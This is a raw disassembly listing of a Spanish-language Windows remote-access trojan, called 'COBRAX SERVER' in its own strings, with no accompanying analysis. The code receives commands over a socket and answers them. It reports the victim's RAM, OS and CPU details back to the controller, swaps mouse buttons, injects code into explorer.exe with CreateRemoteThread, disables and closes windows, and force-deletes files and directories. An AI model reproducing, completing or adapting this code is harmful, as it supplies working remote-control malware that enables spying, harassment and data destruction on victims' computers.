sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Comando_recibido_y_ejecutado__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x40793b
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call fcn.004087f2
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x405770
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x77
jne 0x405770
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x70
jne 0x405770
mov dword [esp], 1
call sub.USER32.dll_SwapMouseButton
sub esp, 4
mov dword [esp], str.___Los_botones_del_mouse_se_han_invertido_con_exito__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Los_botones_del_mouse_se_han_invertido_con_exito__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x405d3b
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x74
jne 0x405d3b
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x405d3b
mov dword [ebp - 0x118], 0x100
mov dword [ebp - 0x11c], 0x100
mov eax, dword [ebp - 0x118]
inc eax
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x7c], eax
mov dword [esp], str.kernel32.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 4], str.GlobalMemoryStatusEx
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x5e8], 0x40
lea eax, [ebp - 0x5e8]
mov dword [esp], eax
mov eax, dword [ebp - 0x80]
call eax
sub esp, 4
mov eax, dword [ebp - 0x5d8]
mov edx, dword [ebp - 0x5d4]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
mov esi, eax
mov edi, edx
shrd esi, edi, 0x1e
shr edi, 0x1e
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
mov ecx, eax
mov ebx, edx
shrd ecx, ebx, 0x14
shr ebx, 0x14
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
shrd eax, edx, 0xa
shr edx, 0xa
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], str.____RAM_Disponible:__d_Bytes__B____n___RAM_Disponible:__d_Kilobytes__KB____n___RAM_Disponible:__d_Megabytes__MB____n___RAM_Disponible:__d_Gigabytes__GB____n
lea eax, [ebp - 0x568]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x568]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x568]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x40794e
mov dword [ebp - 0x5a8], 0x40
lea eax, [ebp - 0x5a8]
mov dword [esp], eax
mov eax, dword [ebp - 0x80]
call eax
sub esp, 4
mov eax, dword [ebp - 0x5a0]
mov edx, dword [ebp - 0x59c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
mov esi, eax
mov edi, edx
shrd esi, edi, 0x1e
shr edi, 0x1e
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
mov ecx, eax
mov ebx, edx
shrd ecx, ebx, 0x14
shr ebx, 0x14
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
shrd eax, edx, 0xa
shr edx, 0xa
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], str.___RAM_Total:__d_Bytes__B____n___RAM_Total:__d_Kilobytes__KB____n___RAM_Total:__d_Megabytes__MB____n___RAM_Total:__d_Gigabytes__GB____n
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x374]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x40794e
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindows_NTCurrentVersion
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x405a76
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x118]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x7c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x425fcd
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [esp], str.___Sistema_Operativo__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Sistema_Operativo__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x405ad9
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x7c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x405b29
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp], str._n__CPU__n
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str._n__CPU__n
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x40794e
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x98], eax
mov dword [esp + 4], 0x100
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov dword [esp + 4], eax
mov dword [esp], str.IBSEXBSFEFTDSJQUJPOTztufnDfousbmQspdfttps0
call fcn.0040272b
lea eax, [ebp - 0x114]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x9c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x405c46
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x11c]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x98]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.ProcessorNameString
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
mov eax, dword [ebp - 0x114]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x98]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x405cc1
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov dword [esp], 0x64
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], str.__n__VERSION_DE_COBRAX_SERVER_INSTALADA_EN_LA_VICTIMA_:_1.1___n
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.__n__VERSION_DE_COBRAX_SERVER_INSTALADA_EN_LA_VICTIMA_:_1.1___n
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x405d25
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6d
jne 0x4062a3
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x4062a3
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x67
jne 0x4062a3
mov eax, dword [ebp - 0x1c]
add eax, 3
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [esp + 4], 0x64
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0xa0], eax
mov dword [esp + 4], 0x64
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0xa4], eax
mov dword [esp + 4], 0x32
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0xa8], eax
jmp 0x405e30
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x2c
je 0x405e1f
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xa0]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
add eax, ecx
mov al, byte [eax]
mov byte [edx], al
inc dword [ebp - 0x30]
jmp 0x405e2d
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x2c
je 0x405e4a
inc dword [ebp - 0x28]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp eax, dword [ebp - 0x28]
setge al
test al, al
jne 0x405df5
jmp 0x405e4b
nop
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 4]
mov eax, dword [ebp - 0x30]
add eax, edx
mov dword [ebp - 0x2c], eax
jmp 0x405e86
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x2c
je 0x405ea0
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xa4]
add edx, eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp + 8]
add eax, ecx
mov al, byte [eax]
mov byte [edx], al
inc dword [ebp - 0x34]
inc dword [ebp - 0x2c]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp eax, dword [ebp - 0x2c]
setge al
test al, al
jne 0x405e5b
jmp 0x405ea1
nop
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x30]
add edx, eax
mov eax, dword [ebp - 0x34]
add eax, edx
mov dword [ebp - 0x28], eax
jmp 0x405ee1
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x2c
je 0x405efb
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xa8]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
add eax, ecx
mov al, byte [eax]
mov byte [edx], al
inc dword [ebp - 0x38]
inc dword [ebp - 0x28]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp eax, dword [ebp - 0x28]
setge al
test al, al
jne 0x405eb6
jmp 0x405efc
nop
lea ebx, [ebp - 0x568]
mov al, 0
mov edx, 0x128
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0x568], 0x128
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xffffffff
jne 0x405f55
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40794e
lea eax, [ebp - 0x568]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
sete al
test al, al
je 0x405fd0
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40794e
mov dword [esp + 4], str.explorer.exe
lea eax, [ebp - 0x568]
add eax, 0x24
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
sete al
test al, al
je 0x405fd1
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x3c], eax
jmp 0x405ff5
nop
lea eax, [ebp - 0x568]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x405f8f
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jne 0x406049
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40794e
mov eax, dword [ebp - 0xa0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x425961
lea eax, [ebp - 0x374]
add eax, 4
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0xa4]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x425961
lea eax, [ebp - 0x374]
add eax, 0x104
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x170], eax
mov dword [esp], str.user32.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 4], str.MessageBoxA
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x374], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x208
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xa0]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0xa4]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x208
lea eax, [ebp - 0x374]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xb4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
mov edx, fcn.0040454f
mov eax, 0x401633
mov ecx, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0xb8], eax
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp - 0xb8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0xbc], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xb8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x401633
mov eax, dword [ebp - 0xbc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
mov eax, dword [ebp - 0xbc]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0xb4]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateRemoteThread
sub esp, 0x1c
mov dword [esp + 0xc], 0xc000
mov dword [esp + 8], 0x208
mov eax, dword [ebp - 0xb4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFreeEx
sub esp, 0x10
mov dword [esp + 0xc], 0xc000
mov eax, dword [ebp - 0xb8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xbc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFreeEx
sub esp, 0x10
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x406386
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x406386
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x406386
mov dword [ebp - 0x40], 0
jmp 0x406336
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xc0], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sub.USER32.dll_EnableWindow
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x12
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sub.USER32.dll_PostMessageA
sub esp, 0x10
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xbb8
setle al
test al, al
jne 0x4062e8
mov dword [esp], str.___Cerrando_todas_las_ventanas_de_Windows__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Cerrando_todas_las_ventanas_de_Windows__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x64
jne 0x406976
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x65
jne 0x406976
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6c
jne 0x406976
mov dword [ebp - 0x44], 0
mov byte [ebp - 0x45], 0
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x10
setne al
test al, al
je 0x40662d
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [0x42d204], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [ebp - 0x4c], eax
jmp 0x406472
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x5c
jne 0x40646f
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, dword [ebp - 0x4c]
not edx
add eax, edx
mov edx, eax
mov eax, dword [ebp - 0x4c]
lea ecx, [eax + 1]
mov eax, dword [ebp + 8]
add ecx, eax
mov eax, dword [0x42d204]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
jmp 0x40647d
dec dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0
setg al
test al, al
jne 0x406428
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
sete al
test al, al
je 0x4064fa
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 8], eax
mov dword [esp + 4], str.___El_archivo__s_que_intenta_eliminar__no_existe.__
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x374]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
test eax, eax
setne al
test al, al
je 0x40654e
mov dword [esp], str.___Exito_al_borrar_archivo__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Exito_al_borrar_archivo__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x40686f
mov dword [esp], str.___Error_al_intentar_eliminar_el_archivo__se_aplicara_el_metodo_FORCE__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Error_al_intentar_eliminar_el_archivo__se_aplicara_el_metodo_FORCE__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x40793e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x10
setne al
test al, al
je 0x406611
cmp dword [ebp - 0x44], 0x63
jle 0x4065d8
mov byte [ebp - 0x45], 1
jmp 0x4065db
inc dword [ebp - 0x44]
mov eax, dword [0x42d204]
mov dword [esp], eax
call fcn.00401c15
sub esp, 4
test al, al
je 0x406607
mov eax, dword [0x42d204]
mov dword [esp], eax
call fcn.00401aa6
sub esp, 4
cmp byte [ebp - 0x45], 0
jne 0x406610
jmp 0x4065cc
mov dword [ebp - 0x44], 0
jmp 0x406611
nop
mov eax, dword [0x42d204]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [ebp - 0x44], 0
jmp 0x40686f
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x10
sete al
test al, al
je 0x40686f
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
test eax, eax
setg al
test al, al
je 0x40686f
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
add eax, 0x108
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [0x42d208], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
sub eax, 3
mov edx, eax
mov eax, dword [ebp + 8]
lea ecx, [eax + 3]
mov eax, dword [0x42d208]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [0x42d208]
mov dword [esp + 4], 0x42572a
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp], str.___Procediendo_a_eliminar_directorio__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Procediendo_a_eliminar_directorio__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [0x42d208]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ecx, eax
mov edx, dword [0x42d208]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_RemoveDirectoryA
sub esp, 4
test eax, eax
sete al
test al, al
je 0x406791
mov eax, dword [0x42d208]
mov dword [esp], eax
call fcn.00402274
sub esp, 4
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_RemoveDirectoryA
sub esp, 4
test eax, eax
sete al
test al, al
jne 0x4067db
jmp 0x406825
mov dword [esp], str.___Directorio_removido_con_exito_
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Directorio_removido_con_exito_
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [0x42d208]
mov dword [esp], eax
